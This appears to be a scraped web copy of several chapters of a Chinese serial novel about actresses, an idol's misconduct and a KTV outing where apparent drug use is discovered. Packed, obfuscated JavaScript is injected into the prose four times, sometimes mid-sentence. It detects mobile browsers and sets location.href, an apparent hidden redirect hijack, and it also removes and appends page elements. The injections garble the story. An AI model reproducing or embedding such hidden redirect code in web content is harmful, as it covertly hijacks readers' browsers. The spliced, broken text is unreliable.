向宁眯起眼发出警告,一字一顿:“进、度、条。” 枕安被踩中死穴,只能改口:“换成什么味道?” “你猜我平时喜欢用什么味道?” “茶香?” “不对。” “花香?” “不对。” “果香?” 叮—— 电梯门再次打开,向宁从包里取出自己的润唇膏塞给他:“这是你回答正确的奖励。顺便,进度条再加百分之一。” 枕安不用看也能猜到,手里这支润唇膏一定是哈密瓜味的。 他又不是没吻过她,怎么会不知道她唇齿间弥漫的是哪种甜味呢。 正因为知道,他才会刻意避开这种选择,甚至改选一种与它完全相反的,酸涩中透着微苦的柠檬味。 只有这样,他才能尽量避免陷入无谓的回忆,以防自己日渐沉沦于虚假的对手戏中。 可是此时此刻,手里这支余温尚存的润唇膏,却让他有点分不清假戏与真情的界限了。 …… 人员到齐,向宁的离职庆祝party正式开始。 向宁举杯起身,先定好规则:“咱们不搞酒桌文化那一套哈,爱喝什么喝什么,爱聊什么聊什么,也不用敬来敬去的,大家吃好玩好就行。” 席间众人一片和乐,唯独简晓夜心不在焉,有一搭没一搭地用筷子在碗里划拉。 向宁见状悄声询问:“你怎么蔫头耷脑的,出门的时候不是还好好的吗?” 简晓夜随口搪塞了一句“没事”,沉默几秒后又改了主意,问起:“祝总是不是送了你一枚胸针?” “是啊。” “那你是不是随时可以去她办公室找她?” “这个……理论上应该是吧。” 简晓夜迟疑片刻:“那你能不能带我去找她一趟。” “你有事找她啊?”向宁拿起手机,“直接微信上聊呗,省时省力的。你要是不敢加她,用我手机聊也行。” “我有她好友。”简晓夜按住她的动作,坚持道,“但这件事很要紧,还是当面聊比较好。” “到底什么事啊?怎么还神神秘秘的,连我都瞒着?” “再说吧。”简晓夜低下头,往嘴里塞了一片水煮白菜,满脸都写着忧心忡忡四个字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148382|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪。 向宁斟酌过后,给祝璋发了条微信:「祝总今天有空吗?晓夜说有件很要紧的事,希望能找你见面详聊。」 半小时后,祝璋打来电话,开口便问:“什么事?我现在有十分钟空闲时间,电话里聊吧。” 向宁把手机递给简晓夜,用口型提示道:「祝璋。」 简晓夜短暂有一瞬发懵,清了清嗓子才接过手机。 “祝总,还是等您开完会,我再去找您吧。” 不知对面说了什么,简晓夜随即面露难色:“现在不行,我还没准备好。” 向宁听了不禁疑惑:有什么可准备的? “我得先多喝两杯,再去找您。”简晓夜苦笑着解释说,“酒壮怂人胆嘛。” 向宁越听越摸不着头脑,简晓夜一挂电话,她便追问:“怎么说?” “祝总让我们等到今晚十点后,直接去她家找她。”简晓夜顿了顿,“你知道她家在哪吗?” “不知道。”向宁回头看了枕安一眼,“没事,有人知道。” …… 夜色沉沉,京郊的别墅群灯火通明。已是晚上十点整,三道人影准时出现,按响祝璋家的门铃。 清脆的叮咚声在寂静中荡开,又很快消散。安保人员透过电子屏幕,目光在来访者脸上逡巡。人脸识别系统无声运转,确认无误后,铁门发出一声轻响,缓缓开启。庭院里的地灯次第亮起,在石板路上投下昏黄的光晕。 管家步履从容地走来,将三人带进会客室。 “麻烦稍候片刻,祝总马上就到。” 会客厅挑高近六米,一盏水晶吊灯从穹顶垂下,在柔软的手工地毯上投下细碎的光斑。真皮沙发围成一个同心圆,沉在地平线下,使人无端联想到游乐场里的转转茶杯。 “那是你画的吗?”向宁伸手指向墙上挂的一幅风景画。 枕安移目望去,很快便摇头道:“那是萨金特的真迹。” 简晓夜倒吸一口凉气:“能用上‘真迹’这个词,一定很贵吧?” 枕安微微颔首,向宁却不肯放过这个话题,追问道:“他一幅画的价格,顶你几幅画?” 枕安沉吟片刻,在心里快速估算后答:“几十幅吧。” “啊?!”简晓夜惊呼出声,“那你的画也不便宜吧?随便哥,你之前不是跟我说你在剧组的服装组工作吗?真的假的,你不会是在骗我吧?” “呃——”枕安意识到这个问题不好解释,连忙找补,“我数学不好,刚才算错了,应该是几百幅才对。” 简晓夜却不接受这番解释,正欲追问,就听到会客厅门口传来祝璋的声音。 “数学不好就别跟人家露怯了。” 她关上门,款步走到三人近前,在简晓夜身旁落了座。 “不是说找我有事吗?说吧。” 简晓夜深吸一口气,在心里给自己鼓了鼓劲,随后直视着祝璋的双眼道:“祝总,我接下来要说的话,可能会惹您生气。但是……如果瞒着您不说,我的良心又实在过不去。” 祝璋一手撑着脑袋,闻言朝向宁挑了挑眉,意为:什么情况? 向宁小幅度地摇摇头,表示自己也是一头雾水。 简晓夜精神高度紧张,并未察觉她们的眼神交流,等了几秒不见祝璋应声,她索性把心一横,闭上双眼,中气十足道: “祝总,况星宸那家伙不是好人,您别被他骗了!” 83. 酒后吐真言 简晓夜话音落时,会客厅的空气骤然陷入古怪的静默。 其余三人打完好一阵眼神官司,祝璋才用听不出情绪的声音问简晓夜:“你都听说什么了?” 简晓夜误解了她的问题,连忙回答:“况星宸私生活很乱,很脏,这是我们圈内人尽皆知的秘密。” 祝璋注视她片刻,没有纠正刚才那个问题的歧义,转而看着向宁发问:“是这样吗?” 向宁还没来得及开口,简晓夜已经抢着解释:“宁宁不是有意瞒着你的,她完全不知道你们的关系。上午我听说这事的时候,她根本不在场。” 眼看误会的雪球越滚越大,向宁也不知道该从哪里开始澄清,只能抿唇扶额保持沉默,把对话的主导权交到祝璋手里。 祝璋看看她,又看看简晓夜,竟忽地轻笑了一声。 “知道了,谢谢你告诉我。” 简晓夜闻言,紧绷的神经刚一松懈,很快又缠成了乱糟糟的一团,诧异道:“就、就这样?” 这反应也太平淡了吧! 几分钟前,她设想过无数种可能的结果:祝璋也许会震怒,也许会怀疑,也许会追问细节,甚至可能会当场打电话跟况星宸对质。但她唯独没有料到,祝璋会是这样的平静。 这种平静背后隐藏着无数种可能性——难道祝璋早就知道了?还是说她根本不在乎?又或者...她根本就不相信自己的话? 简晓夜越想越懊悔,祝璋看着这张表情丰富的脸,却忍不住微微抬起了唇角。 “这样道谢还不够吗?”祝璋起了玩心,故意曲解她的话,指着满墙名画逗她道,“要不,你从这些小玩意里挑一件当谢礼?” 这本是一句无心的玩笑,却精准刺入了简晓夜最敏感的神经,踩痛了她的自尊心。 也许是酒精催化了她的胆量,简晓夜猛地从沙发上站起来,第一次俯视着祝璋,带着显而易见的委屈喊道:“我不是来向你讨饭的!就算你穷得叮当响,我一样会来提醒你!” 她越说越激动,情绪一上头,眼眶也迅速湿润起来:“不过仔细想想,如果你真的没钱,倒也不用我来提醒你远离况星宸了,因为他根本就不会缠上你!你与其用钱来羞辱我,倒不如去试探试探他。告辞!” 语毕,简晓夜转身就走,向宁伸手去拦,却只来得及触到她衣角带起的一缕风,只好回头朝祝璋匆匆丢下一句“抱歉抱歉,她喝多了”,随后便追了出去。 祝璋望着两人离去的方向,无奈地叹了口气,目光转向仍坐在沙发上的枕安:“你还赖在这做什么?打算在这过夜啊!” 枕安不紧不慢地起身道:“你可真是我亲姐。” 祝璋眉头一皱,眼神凌厉地瞪过去:“又在这阴阳怪气什么?” “没什么。” 枕安俯身拎起向宁忘在沙发上的挎包。 “只是突然觉得,咱们俩在惹女孩子生气这方面,有着惊人相似的天赋。” …… 次日清晨,简晓夜的卧室里传出一声刺耳的尖叫。 向宁和枕安正在吃早饭,闻声吓了一跳,连忙跑去查看情况。 “出什么事了!?” 向宁惶急地推开屋门,就看到简晓夜用枕头捂住脑袋,整个人在被子里缩成一团。 “啊啊啊——”简晓夜一边捶床一边尴尬大喊,“我昨晚是不是被外星人夺舍了啊!” 向宁枕安对视一眼,双双松了口气,开始你一言我一语地安慰她。 “没事。” “祝璋姐不会在意的。” “你也是话糙理不糙。” “酒后吐真言嘛。” “别说了!”简晓夜坐起身来,气鼓鼓地把枕头朝向宁扔去,“你也是,怎么不拦着我点啊?” “欸,咱讲讲道理好不好,是我不想拦你吗?”向宁抱住枕头,“您老人家那张嘴就跟机关枪似的,我还没反应过来呢,就哒哒哒哒哒哒哒哒——把一整盒子弹都打完了。” “啊……救命……你杀了我算了!”简晓夜往后一倒,又滚进被子里,身下的床垫再次惨遭痛捶,“我以后该怎么面对她啊!” 向宁思索片刻,忽然冒出一句:“你现在这个状态,我好像在哪见过。” 枕安好奇:“在哪?” “就是我们上大学的时候,她有一次……” “闭嘴!你不许说!你也不许听!”简晓夜又扔来一个枕头,这次被枕安接住了。 向宁在嘴边做了个拉上拉链的动作,抿唇不语。 其实也不是什么大事,就是某次表演课上,老师让简晓夜当着全班同学的面,试着演一只大猩猩。她非常出色地完成了任务,但一回宿舍就缩进了被子里,尴尬得直捶床板。 虽然尴尬的事情各有各的不同,但消解尴尬的途径总是万年不变。 “你们俩,陪我,KTV走起!” …… 很少有人知道,简晓夜曾自封为“天下第一大音痴”。 她的歌声,堪称自然界和人文界双线并存的一大奇观,不但能把“一闪一闪亮晶晶”唱出山路十八弯的曲折,更能把生于江南的茉莉小花唱成喜马拉雅山上的雪莲残叶。 大学时期,简晓夜是学校对面小KTV的常客,每次遇到烦心事都要去发泄一通,一进包厢就点满三小时的歌单,唱到隔壁包厢的人纷纷退房,连服务员都忍不住敲门问:“同学,要不要给您换个隔音更好的包厢?” 尽管如此,简晓夜还是对唱歌情有独钟,坚信这是最好的解压方式,奈何“压力守恒定律”往往让她的听众们惨遭摧残。 好在受害者并不多,向宁算个钉子户,如今又多了一个枕安。 不过时移世易,现在的简晓夜好歹也算个“明星”,再也不能像从前那样肆无忌惮地发疯了。她得注意公众形象,得保护隐私,得像个正经艺人一样端着。 于是,向宁的工作人脉就派上了用场。 “老地方,就三位。”向宁把会员卡递给前台,“酒水换成果盘,小吃随便配几样,不要额外服务。” 向宁常常跟前司的艺人一起来这,几位前台也认了个脸熟,都知道只要是她带人来,就不用多问,直接给开S26号包厢就行——那是这家店里隐私性最强的包厢,监控摄像头常年“意外损坏”,迟迟无人检修。 “好嘞,三位大概要玩多久呢?” 向宁回头看一眼兴致颇高的简晓夜,不禁为自己的耳膜捏一把汗:“可能要玩到晚上吧。” 领班在电脑上搜索片刻,询问道:“就三位的话,要不要换个小一点的包厢?” 向宁先是一怔,继而调侃起来:“什么意思,最近我来得少了,你家大包厢就不舍得给我用了?” “误会误会,我们可不敢赶客呀。”领班满脸堆笑,解释道,“主要是S26的夜场有人提前预定了,今晚十点人就到。您要是那时候还没玩尽兴,总不好临时再换间包厢吧?那多扫兴啊!” “没事,我们也未必能玩到那么晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151372|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你先把包厢开了吧。” “这……也行。”领班立场灵活,又笑道,“反正后面那拨人跟您也熟,要是不介意的话,大家一起玩还更热闹呢!” 向宁随口一问:“跟我熟?谁呀?” 领班表情忽然僵住,似是意识到自己一时忘形,说错话了,连忙糊弄道:“嗐,不是不是,我记错了。” 向宁当着面没有多问,进到包厢以后,却忍不住盘算起来。 “跟我熟……” 她靠在沙发上,指尖轻轻敲着手机屏幕。跟她熟的人不少,但能让这家KTV的领班也认识的可没几个。 瞧他刚才那副自知失言的模样,显然不是真的记错了预约信息。那位“熟人”来这,恐怕不是单纯唱歌那么简单。 也许是职业习惯使然,向宁嗅到可疑的气息,立刻在心里拉了张Excel表,把“嫌疑人”的名字依次填了进去,再一一分析排除。 ——这个不可能,他拍古装戏从马上摔下来了,正在住院。 ——这个也不可能,她昨天刚刚出国,正准备走电影节的红毯。 ——这个,排除,那个,排除,三四五六七八个,全都排除排除! 不知是巧合还是天意,她推理到最后,这张虚拟表格里竟然只剩下一个名字。 况星宸。 想到这里,向宁立刻给杨晨叶发去一条微信:「你二老板今晚有行程吗?」 杨晨叶早知她也加入了祝璋的阵营,很快便回复道: 「没有工作行程。」 「有私人行程,但他不让我跟着。」 「需要我偷偷跟踪他吗?」 「不用。」向宁回道,「交给我就好。」 一曲结束,简晓夜把话筒塞进向宁手里。 “别光顾着玩手机呀!你也来唱一首。” 向宁匆匆按熄屏幕,又像击鼓传花似的,把话筒递给身旁的枕安:“我还有事要忙,你来替我唱一首。” 枕安读不懂她的唇语,摘下隔音耳塞问:“你说什么?” “好啊你,居然戴着耳塞!”简晓夜摆出兴师问罪的架势,“你小子,是不是嫌我唱歌很难听啊?” 枕安很有求生欲地否认道:“不是。只是为了保护听力,这里的音响太吵了。” 简晓夜完全不信他的解释,撇撇嘴道:“嘁,我还不想听你唱呢!” 语毕,她抢走枕安手里的话筒,小跑着回到点歌台边。 向宁挪了个位置,凑近枕安对他耳语道:“耳塞有没有多的?分我一副。” 枕安从上衣口袋里摸出一个小塑料盒:“有,全新的。” “谢了。”向宁伸手去取,刚要抓到盒子,却被枕安收手躲开。 他语带狡黠:“给你可以,但是……进度条?” 向宁不假思索:“百分之一。” 枕安不作声,把耳塞盒放回衣服口袋里。 向宁忙又改口:“每只百分之一,一共百分之二!” 枕安仍是摇头。 向宁气得捏他胳膊:“你还学会坐地起价了?” 前奏结束,简晓夜举世无双的歌声再次响起。 “没办法啊。”枕安重新戴好耳塞,对向宁温柔一笑,“谁让现在的供需关系如此失衡呢?” 向宁无可奈何,用手指比了个汉字“十”,枕安这才满意。 “藏好点。”他把她别在耳后的头发移到前面来,贴近她低语道,“别被大歌星发现了。” 84. 心不在焉 折腾几个小时,简晓夜终于唱累了,嗓子像是被砂纸磨过一样。 她瘫在沙发上,一边咬着细长的吸管喝水,一边含糊不清地说:“唱不动了,唱不动了,再唱下去我嗓子得报废。” 向宁头也不抬,手指在手机屏幕上飞快滑动,显然正沉浸在游戏里。她随口应道:“玩累了就打道回府吧。” 简晓夜似乎不太情愿,又叫了一份果盘,吃完才提议道:“要不咱们去楼上的私人影院看部电影吧?反正时间还早,放松放松。” 向宁依旧盯着手机屏幕,语气淡淡:“你俩去吧,我还有事,可能会很晚回家。” “我俩去?”另外两人异口同声。 简晓夜率先提出反对:“三个人去,那叫朋友聚会。我跟他两个人去,万一被拍到,再经网络一发酵,岂不是变成‘恋情实锤’啦?” 向宁抬眸,后知后觉道:“喔,我把这茬忘了。” 枕安疑惑地看了她一眼:“你今天怎么心不在焉的?” 向宁没立刻回答,目光在枕安和简晓夜之间游移了一下,随后凑到枕安耳边,压低声音说:“今晚十点,况——” 简晓夜立刻不爽了,双手叉腰道:“欸,过分了啊,有什么话不能当着我的面说啊?” 向宁叹了口气。她不是有心瞒着简晓夜,只是怕她听了,又想起昨晚的尴尬事。可耐不住她追问,向宁还是说了出来:“今晚十点,况星宸可能也要来这玩,就在这个包厢。” 简晓夜果然神情微变,但嘴上还是硬撑:“他来就来呗,你有什么可操心的!” 向宁瞥了她一眼,语气里带着几分暗示:“你不会真以为,来这里玩的人都和咱们一样,单纯是来唱歌的吧?尤其这间包厢,全场收费最高,又没有监控覆盖,还不是想做什么都不用顾忌了?” 简晓夜混了几年娱乐圈,没吃过猪肉也常见猪跑,闻言立刻明白过来,刚想说点什么,情绪却忽地沉了下去,喃喃道:“算了,我可不能再管闲事了。” 说完,她又劝向宁:“你现在已经不是星桥的人了,况星宸爱作死就让他作去呗,你还掺和什么?” 向宁与她玩笑:“我打算偷拍几张照片,卖给狗仔赚笔外快。” 简晓夜却把这玩笑当了真,忙叮嘱道:“那你拍的时候小心点,千万别被他发现啊。我不想跟他打照面,就先撤了。” 包厢里少了一个人,顿时变得安静许多,甚至让人有点不习惯了。 向宁把话筒递给枕安:“这里收费很贵的,不唱歌浪费了。” 枕安往后躲了躲:“我不会唱歌。” 向宁眼里带着几分戏谑:“一首百分之五,现在会唱了吗?” 枕安迟疑片刻才接过话筒,手指在开关键上轻轻敲了敲,似是在权衡什么。随后,他嘴角微微一抬,再次坐地起价:“百分之十,支持任意点歌。” “要价这么高,万一很难听,我岂不是亏大发了?”向宁绝不做亏本的生意,“要不……你先给我来一段免费试听?” 枕安却毫不退让:“就是因为难听,才只收百分之十。如果我唱歌好听,就要收百分之二十了。” 二人正打着价格拉锯战,包厢大门忽然被人敲响。KTV领班小心翼翼地推开门,一开口便是道歉。 “实在不好意思,宁姐,这个包厢的网络出了点故障,需要尽快检修。您看,能不能接受换个包厢继续玩?我们这边给您送一打酒,再送两个果盘,怎么样?” 向宁垂眸看一眼手机屏幕,WiFi信号仍是满格。 看来所谓网络检修不过是个借口,实际上,八成是下一批客人提前到了,领班急着给他们腾位置呢。 这也难怪,如果来的真是况星宸,他的消费肯定比向宁高出许多,领班能拿的提成也随之水涨船高。 谁会跟钱过不去呢? “行,换就换吧。”她没有戳穿领班的谎言,“别用便宜酒糊弄我哈。” 新换的包厢离S26颇有一段距离,拐了好几条走廊才到。 关上房门,枕安等领班走远才问:“你真打算去偷拍况星宸吗?” “当然不是了。”向宁打开一瓶啤酒,“就算我拍到他乱搞男女关系,祝璋也不会公开这些图片的。” “为什么?”枕安不解。 “因为祝璋跟我说过,她只想报复况星宸,不想牵扯到其他任何人。” 如果不是有这条原则,祝璋大可在收到麦秋的存储卡后,直接把里面的照片送上热搜。 这样固然能让况星宸“塌房”,可他顶多被骂几句偶像失格,过不了多久,他依然可以风风光光地站在舞台上,享受死忠粉们的赞美和声援。 而出现在那些照片里的女艺人、女网红就不同了。她们更容易成为舆论的靶子,承受更多的羞辱和指责。 那不是祝璋所想看到的。 枕安不解:“既然是这样,那你为什么还要留在这等他来?” 向宁促狭一笑:“我就是想看看,他到底还能玩出什么花样来。” 刚才移换阵地前,她特意摘下一只耳环,塞进了S26包厢的沙发缝里。 再过两个小时,等里面的人玩嗨了,向宁便能以“寻找失物”为由进入S26包厢,做一回八卦侦查员。 至于中间这段百无聊赖的等待期,要如何打发时间…… “其实这里的包厢也能当私人影院用。”向宁一边说着,一边走到点歌台前,熟练地调整了几处设置,随后回头看向枕安,“要看电影吗?” 枕安走近点歌台,随手翻了翻片单,发现可选的电影并不多,基本都是些经典老片。他侧头问道:“你想看什么?” 向宁点开一个页面,失笑道:“这部《泰坦尼克号》后面居然专门标注了‘未删减版’,可真够明目张胆的。” 她抬眸与枕安对视,带着几分调侃:“你看过吗?” 枕安摇了摇头,语气平静道:“裴医生不让我看,怕引起PTSD。” “啊……我又忘了这茬,抱歉。”向宁有些懊恼,连忙伸手去按返回键。 然而,就在她的指尖即将触及屏幕的那一刻,枕安忽然伸手握住了她的手腕。动作很轻,却带着一种不容拒绝的坚定。 “现在应该没关系了。”枕安微微倾身,拉近了与她的距离,声音低沉而温和,“我想试试看。” 向宁没有阻拦,只是事先提醒:“不舒服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15157837|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了就跟我说。” 枕安轻轻点头:“知道了,向医生。” “别,我可不敢非法行医。”向宁故作严肃地瞪了他一眼。 “嘘——”枕安竖起一根手指,难掩唇角笑意,“看电影吧。” 顶灯悄然熄灭,四周陷入一片沉静的黑暗,唯有大屏幕上的光影在不断跳跃。大船从遥远的历史中缓缓驶出,带着一种宿命般的沉重与浪漫,很快便将他们拉入另一个时空。 Rose受够了压抑的生活和无望的未来,在夜色中独自走到船尾,翻过栏杆,即将跨越生死的界限。 “I''malotmoreconcernedaboutthatwaterbeingcold.(我更担心的是水很冷。)”Jack来劝她不要跳船寻死。 Rose紧抓栏杆,似乎已经萌生退意:“Howcold?(有多冷?)” 向宁微微侧过头,目光落在枕安的侧脸上。黑暗中,荧幕的微光如同一支细腻的画笔,将他的轮廓勾勒得愈发清晰。 “怎么了?”枕安察觉到她的视线,偏过头与她目光交汇。 “很冷吗?”她轻声问。 枕安沉在她的目光里失神一瞬,没有即刻给出回答,只是伸手取来旁边的薄毯,轻轻展开,盖在两人的腿上。 黑暗中,藏在毯子下的手有意无意触碰到了一起。不知是谁先动了心思,指尖轻轻一勾,像是试探,又像是默契,随后便自然而然地交缠在一起,掌心贴着掌心,温度透过肌肤传递,无声却炽热。 “现在不冷了。”他说。 初学者的暧昧举动总像未熟的果子,青涩中带着一丝忐忑不安的酸。 向宁的目光依旧停留在他的侧脸上,眼底藏着一丝未散的笑意,像是看穿了他的强装镇定,却又故意不去点破。 枕安面上毫无反应,隐匿在黑暗中的手指却动了动,似乎还想再握紧一些,却被门外突如其来的声音打断。 “就是这了,您请进。” 包厢的门被领班推开,顶灯还未亮起,简晓夜的身影已经急匆匆地闯了进来。 向宁和枕安几乎是同时松开了交握的手,动作迅捷而隐蔽,那一瞬间的心虚,简直像极了被教导主任撞破早恋的高中生。 向宁轻咳一声,问道:“你怎么回来了,不是说要去看电影吗?” 简晓夜也有同款疑惑:“你们怎么看起电影来了,不是说要去当狗仔吗?” “现在时间还早嘛,我是打算——” “早什么早呀!再不行动就晚了!”简晓夜不等她说完便打断道,“我刚回来的时候不知道你们换包厢的事,就直接跑到S26去了。欸,你们猜我看到什么了?” “什么?” 简晓夜张了张口,似乎有些心神不宁:“你先给我开瓶啤酒,我得压压惊。” 向宁直接将自己的酒瓶递了过去,催促道:“别卖关子了,喝两口赶紧说正事!” 简晓夜接过酒瓶,仰头将剩余的小半瓶酒一饮而尽,随后长长地吐出一口气,情绪虽然渐渐平稳下来,可眼神依旧闪烁不定。 她深呼吸几次,将手机递给向宁:“我偷拍了,你直接看吧。” 85. 小妈 一刻钟前。 简晓夜虽然嘴上说着“不能再多管闲事”,可心里却像被猫挠了似的,始终无法丢开手不管。 她独自坐在楼上的私人影院里,眼睛盯着屏幕,心思却早已飞回了楼下的KTV包厢。电影镜头一幕幕在眼前闪过,台词却是左耳进右耳出,一个字也没进脑子。 许多杂乱的念头搅在一起,活像一群讨厌的蜜蜂,在她大脑里嗡嗡作响,搅得她心烦意乱。 电影才放到一半,简晓夜终于坐不住了。她猛地站起身,抓起包就往门外走,同时还不忘在心里给自己找个借口:我只是回去围观八卦,不算多管闲事。 电梯门一开,简晓夜就直奔S26包厢。还没走到门口,她就听见里面传来摇滚乐的伴奏声,声音很大,却没人唱歌。她以为向宁和枕安还在里面,没多想就直接推开了门。 然而眼前的景象却让她愣住了。 包厢里早已换了一批人。况星宸占着沙发的“C位”,半躺半坐,手里晃着一杯酒,眼神迷离,像是已经喝了不少。 空气中弥漫着酒精和香水混合的味道,还有一丝古怪的甜腻气息,熏得人直犯恶心。 几个不出名的男idol围在茶几旁,正在随着音乐蹦蹦跳跳,单一的舞蹈动作实在没什么美感,他们倒是自得其乐,越蹦越欢。 其中一个十八线红毛男抬头看到简晓夜,很快就认出了她是谁,连忙笑着打招呼:“这不是简大美女吗?哪阵风把你给吹来了?” 另一个银发整容脸立刻接话,语气里带着几分讨好:“肯定是宸哥约的呗!人俩以前可是同一个公司的。” 况星宸却像是反应慢了几拍,直到简晓夜非常不给面子地澄清:“不好意思,我走错包厢了。”他才懒洋洋地抬起头,嘴角勾起一抹笑:“不用不好意思,走错了说明咱们有缘,过来一起喝一杯吧!” 他的眼睛半睁半合,像在打瞌睡似的,目光却直勾勾地钉在简晓夜脸上。 简晓夜被他看得有些不自在,正想找个借口离开,谁知眼神随意一瞟,就在茶几旁的垃圾桶里发现了某些不同寻常的端倪。 她心里一紧,童年的某些糟糕回忆,恍如一群饿极了的野狗,闻着腥味便扑了上来。 简晓夜下意识地屏住呼吸,面上却不显任何异样,唇边挂着若有似无的笑意:“喝酒就算了,不太方便。我手机快没电了,能借你们包厢的插座用一用吗?” 况星宸却不依不饶,关掉音乐起身向她走来:“什么事不方便?连喝杯酒都不行?” 简晓夜后退一步,语气依旧平静:“私事,你还是不知道比较好。” 况星宸笑了笑,眼神里带着几分玩味:“私事?该不会是在备孕吧?” 他话音一落,旁边的小爱豆们立刻发出捧场的哄笑声。 简晓夜眉头一皱,正要反驳,却见况星宸已经走到她面前,将手里的酒杯递给她道:“不是就喝一杯,权当给我个面子。” 那可是他用过的杯子,简晓夜多看一眼都觉得恶心。 既然况星宸如此无耻,那就别怪她用魔法打败魔法了。 “实话告诉你吧——”她迈步走近他,用只有彼此能听见的声音说,“我已经怀孕了,你想知道孩子的父亲是谁吗?” 况星宸半信半疑:“真的假的,谁啊?” 简晓夜一脸严肃:“祝高远。” 况星宸霎时僵住表情,沉默良久才顾得上质疑:“你开什么玩笑?” “谁有闲心跟你瞎开玩笑!”简晓夜一手扶着腰,摆出了长辈教训小辈的架势,“不知者不怪,念在你是初犯,这次我就不跟祝先生告状了。以后你要是再敢冒犯我、不尊重我,哼,那你这辈子也别想进祝家的大门了。” 专业演员的实力可不是开玩笑的,不论什么狗血戏码,简晓夜都能用绝佳的信念感说服观众相信她。 况星宸见她说得煞有介事,一时被唬得愣在原地,手里的酒杯差点没拿稳。 想想也是,她不过一个二线演员,就算有天大的胆子,也不敢谎称祝董他老人家是她的后台吧? 简晓夜低头看了看自己刻意挺起的肚子,语气轻描淡写,却带着不容置疑的威严:“为保一切稳妥,瓜熟蒂落以前,祝先生不许别人知道这件事,尤其要瞒着祝璋。如果从你这走漏了风声……” 况星宸嘴比脑子快,几乎是条件反射般地接话:“我一定保密!” 简晓夜满意一笑,眸中显出几分长辈式的慈爱:“孺子可教也。”她顿了顿,语气忽然变得意味深长:“以后保不齐有一天,你还得叫我一声‘妈’呢。” 况星宸嘴角抽了抽,勉强尬笑两声,心里却像是被雷劈了一样。他忽然想起什么,连忙伸手指向不远处的墙角:“插座在那,您随便用!”殷勤中透着一丝不易察觉的慌乱。 旁边的几个小爱豆不知道他们聊了什么,见到况星宸对她的态度发生一百八十度大转变,纷纷同彼此交换了几个惊异的眼神。 简晓夜对他们的窃窃私语充耳不闻,径直走到插座旁,慢条斯理地给手机充上电。 况星宸回到沙发上坐下,坐姿比刚才拘谨许多,仿佛被什么东西压住了脊背,连肩膀都微微缩了起来。 他端起酒杯,却没往嘴边送,只是焦躁地晃动着杯中的冰块,眼神飘忽不定,显然还没从刚才的冲击中回过神来。 简晓夜避着众人的视线,悄悄打开后置摄像头,按下录像键。 她将手机贴到耳边,假装打电话,实则把镜头对准了况星宸。镜头缓缓扫过他身前的茶几,放大,特写,最后定格在一旁的垃圾桶上。 …… “这个清晰度不太行啊。” 向宁把简晓夜偷拍的视频投屏到电视上,按了几下遥控器,把亮度调到最高,画面依旧模糊不清。 简晓夜无奈耸肩:“没办法,他们包厢里实在太暗了。而且我是偷拍诶,总不能开闪光灯吧?” 枕安靠近电视仔细看了看,摇头道:“你就直接告诉我们吧,垃圾桶里到底有什么?” 简晓夜指着屏幕上的几处色块,严肃道:“有两只注射器,还有几片锡箔纸。在这种地方,这种东西是做什么用的,你们应该也心里有数吧?” 向宁猛地转过头与她对视,不敢置信道:“你确定你看清楚了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161001|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 简晓夜语气坚定:“我确定。” 枕安紧皱眉头:“你的意思是,他们在聚众吸/毒?” “这可不是闹着玩的。”向宁关掉电视屏幕,犹豫道,“有没有可能是误会?注射器……做医美不也用得到吗?” “绝不可能。”简晓夜斩钉截铁地说,“你知道的,我爸就吸过那种东西。那种眼神、那种状态,对我来说都再熟悉不过了。” 她顿了顿,又带着难以抑制的愤怒说:“还有,刚才况星宸给我递了杯酒,里面泡着一颗白色药丸,还没化干净,估计也是那种脏东西。” 向宁闻言愈发震惊,忙问:“你没喝吧!?” “当然没有,我又不傻。” 向宁松了口气,神经却依然紧绷,她忙乱地翻包拿出手机,正要拨号,却被简晓夜拦住。 “你要干什么?”简晓夜无措地问。 “当然是报警啊!”向宁答得不假思索。 